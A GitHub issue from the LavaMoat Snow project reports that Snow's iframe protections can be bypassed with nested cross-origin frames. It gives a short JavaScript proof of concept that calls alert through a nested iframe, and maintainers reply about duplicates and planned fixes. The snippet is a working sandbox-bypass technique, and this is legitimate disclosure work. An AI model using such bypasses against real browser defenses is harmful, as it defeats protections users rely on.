snow icon indicating copy to clipboard operation
snow copied to clipboard

Snow can be bypassed with nested cross-origin frames

Open deryilz opened this issue 2 years ago • 2 comments

Reproduce by running

let x = document.createElement('iframe')
x.src='data:text/html,<iframe src="https://lavamoat.github.io"></iframe>'
document.body.appendChild(x)

setTimeout(()=>{
    x.contentWindow[0].alert.call(window, 'hi')
},500)

honestly not sure how youd fix this

deryilz avatar Oct 16 '23 14:10 deryilz

seems to be duplicate of https://github.com/LavaMoat/snow/issues/136

terjanq avatar Oct 16 '23 15:10 terjanq

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this. The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html

Feel free to update this issue with comments on how you think it should be addressed. We may reach out with questions later.

naugtur avatar Nov 02 '23 09:11 naugtur